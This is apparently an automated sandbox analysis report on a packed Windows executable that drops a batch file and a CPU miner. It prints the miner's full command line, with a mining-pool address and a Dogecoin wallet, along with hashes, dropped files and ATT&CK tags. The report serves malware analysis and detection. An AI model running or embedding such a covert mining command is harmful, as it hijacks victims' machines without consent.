73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
305s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13-02-2024 17:37

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4652	b2e.exe
4692	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4692	cpuminer-sse2.exe
4692	cpuminer-sse2.exe
4692	cpuminer-sse2.exe
4692	cpuminer-sse2.exe
4692	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4456-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 4652	4456	batexe.exe	74
PID 4456 wrote to memory of 4652	4456	batexe.exe	74
PID 4456 wrote to memory of 4652	4456	batexe.exe	74
PID 4652 wrote to memory of 4580	4652	b2e.exe	75
PID 4652 wrote to memory of 4580	4652	b2e.exe	75
PID 4652 wrote to memory of 4580	4652	b2e.exe	75
PID 4580 wrote to memory of 4692	4580	cmd.exe	78
PID 4580 wrote to memory of 4692	4580	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Users\Admin\AppData\Local\Temp\1335.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\1335.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\1335.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4652
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1930.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4580
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\1335.tmp\b2e.exe

Filesize
246KB

MD5
6cb8ece0295830ba21b842afa90ddd6c

SHA1
5c59fd9270cc5b37442c588d07867f33079ed52e

SHA256
3de90a1ebe7b0b3a3675a72d72c9b9b55e83cce5a67941611e1e57be1ab88bf8

SHA512
880107d69f7eed5612c2b3e0b73868c24be60a86c0452fc50e61e8ff44ccb8afbb43dd8a46e6782c16bcbce4264b2423be043fbf61a0dff1735fbc173b556866

Download Submit
C:\Users\Admin\AppData\Local\Temp\1335.tmp\b2e.exe

Filesize
2.4MB

MD5
2cfa665b5d2739bff714337e49db598c

SHA1
4c190120cb9dbeee2edcf139f9d9e4b8e9a29b83

SHA256
ed494fdb9b65742dd2294246281668164ba6301abe5911e96cda954420ef6b3f

SHA512
42e5eec3087b2523e9530dc0f4705662f2e81267745beb672782c20023fe439d6c5dbc82f705d6ac6f9bf5c1a5d25f44665bfb3700e566734114a5f0da10e66f

Download Submit
C:\Users\Admin\AppData\Local\Temp\1930.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
333KB

MD5
d4feb2d4429a400dc3fb401a30110934

SHA1
7bc70c8d6b0a19c0b5298339bf094600a9e271ff

SHA256
60dc75c298f6a5a61dd620f03da400bed1a4f11bab213e11c202ba1ff3b98fcf

SHA512
122b6d094250b7c6f7a26a690979a0521500523243c46c6d09f903529cbaaf8e3378299a44678dece547edcc4c1aae7b342862466f3ec110a0e64c5b5fcd287e

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
308KB

MD5
34f78791f41f9311d3fc9ef6174ce277

SHA1
b05e9636f1b883c2bd113c212c1cc9446ef74206

SHA256
1636371ec863a70bf8bc0b9e836ea75b84479df6d8fac5c9cdc84d5dd0395fd8

SHA512
21f321d15f3e0e5fa769cc51398e604f2b3238ebee06e4d52a10f9583f3590286eef10426f1c2a0dc392e851b624a4fb447303e8aa99d71397016021bfd0b51f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
288KB

MD5
a60395564d5b7cd3be4ee973332cadd7

SHA1
7bf69a00becbdf94fb6658b3278877766db32da1

SHA256
fad9a7ee361c053046290dc207121b13986c1cece05d1a093786cf76b7b00697

SHA512
001f053d248b715f16ff63686c1c85052d205d093ad93231a7a5492f601eca579176e658ef6ad587848d92aff6869485b9f1900a7077c67d27a6f14811737bcd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
267KB

MD5
314772f15f409b29bb7562aa8b497ab0

SHA1
2c53ccc0eade510ad3a1c890635d924141e3cd8e

SHA256
5a9e46b6155a4ca7226f1cbe5e6131715c779951ed98fa5accee68ed1f614418

SHA512
5b50280fe5dd520404c8f3891e71921ea5f2216e09b2ceedc019d8dc8e9ff314d0d8d5fcaac3562bbaf91bc5cc232888fbac3da9bc51dc12e02517b2054ec603

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
269KB

MD5
292260826a1496f7447ddfe40bd356ef

SHA1
d77084c120815826b7a44ea56f77c5d1347b4d5d

SHA256
a3e2e1c574bff794adfabc3cfaa87f2ead8d9f60fe966f32ad6aad6f73e95cac

SHA512
9790ad627904e97332ac56105a36f0b93efe0710f797e204e6dcf06b7aad4aae672a9e0e4ee0f5eb92fdb6584883c0b7f220490296161a54ec62945b5e4ef526

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
197KB

MD5
96d3da87e29c98d282348e462e777e32

SHA1
8618ea1f9302ed8ea6a34d20b6f8613732d61418

SHA256
faf4a1c5710fafeb69fd8da4790486cf512158ee3c9906ddbc33888d4bf197e8

SHA512
62b52b98a7d924d86df8b5657a814adcfe6e626a3a312980dd1f98b9d43f10622eb3219eda1fc0c82e4066779c56cf5d710e3fa7470076168a7aad4be106ebc6

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
215KB

MD5
ddf8c761f9a8fa838c4793167aa52eaf

SHA1
193a8d74d945c66542e6b29dee18971a384757ae

SHA256
b38cae95ee2dd371b22b3b46415612948cf493575590f780dd6b66824be21f9f

SHA512
c6334089233fb74f8eda18434c37f0e9b176eae770ea66038b109b4dcb4f2c134ff5e74d0519d063abb93177ee34254f9f3bb8d54849c3371a2399e25b7ca1b2

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
215KB

MD5
0e6bb77458ccb20ed16a56efb8550911

SHA1
8e7d80237dee0cfcd72982e76b863069e5c2ccc4

SHA256
e9de7f68ec13a2b8fe0877a36ca171e1895b1864a34fa3a0833b17e97ddb580b

SHA512
d0cb9b398b3a6aa5c8bae4456be3fcc29518f3239a0b984345817052185a0d114528365fd72a2ee1fe7a6f8bc3a43c6d0c9502755d746966ad6a2b36f03b1c07

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
221KB

MD5
39c67b8fd0dcb4805418ffbe62ee1449

SHA1
15357f4afbc793219f96e1a58a3f9d38beb8c1ea

SHA256
059fae2fa2343e19786df8c8eb0b94179e5123418f5c4483fa238a506d3eefb7

SHA512
6294d5d942fc524793dc2f65ddf88bd69712f218449ed523152ed38bab027d7b8d853062a48007dcd2650e36fa5a86fd067dc2081a338ca8fca31a34f3e492f6

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
245KB

MD5
ca1292c5c88926c756d88ef1806e99c3

SHA1
6480885adcc4202ae41872e736b7d62ca812b934

SHA256
6258afeb3a0bfb722461db18c38db859866660dd20ca2d0a2aa7efa3ffb5bcda

SHA512
7cdcb0285296887e9c56937397439cae12d9ddf3817f3befbb867a97f4dac09cb40dea3b3f8de5c9fd41616f33b3a11845d92bba7cd5ed75719dbf5e2105b06e

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
300KB

MD5
a617239d638bbb3a0a7e2def598ac577

SHA1
dbeec85966d9e05bfc0e55d3e383280f87a95193

SHA256
6f0d2a7eead278f98209a6fd6259368b9ad747a41e837c449f209025cac46ec1

SHA512
118805a7cb99063f9b5e9f21d92d9158c502502c217e60fc792ac1e4439651f7d7c7eb0aa3d70a64e5e22439c680ca9d9edaeaa20508876d912e9300c54310ee

Download Submit
memory/4456-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4652-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4652-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4692-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4692-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4692-43-0x00000000580D0000-0x0000000058168000-memory.dmp

Filesize
608KB

Download
memory/4692-44-0x0000000001080000-0x0000000002935000-memory.dmp

Filesize
24.7MB

Download
memory/4692-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download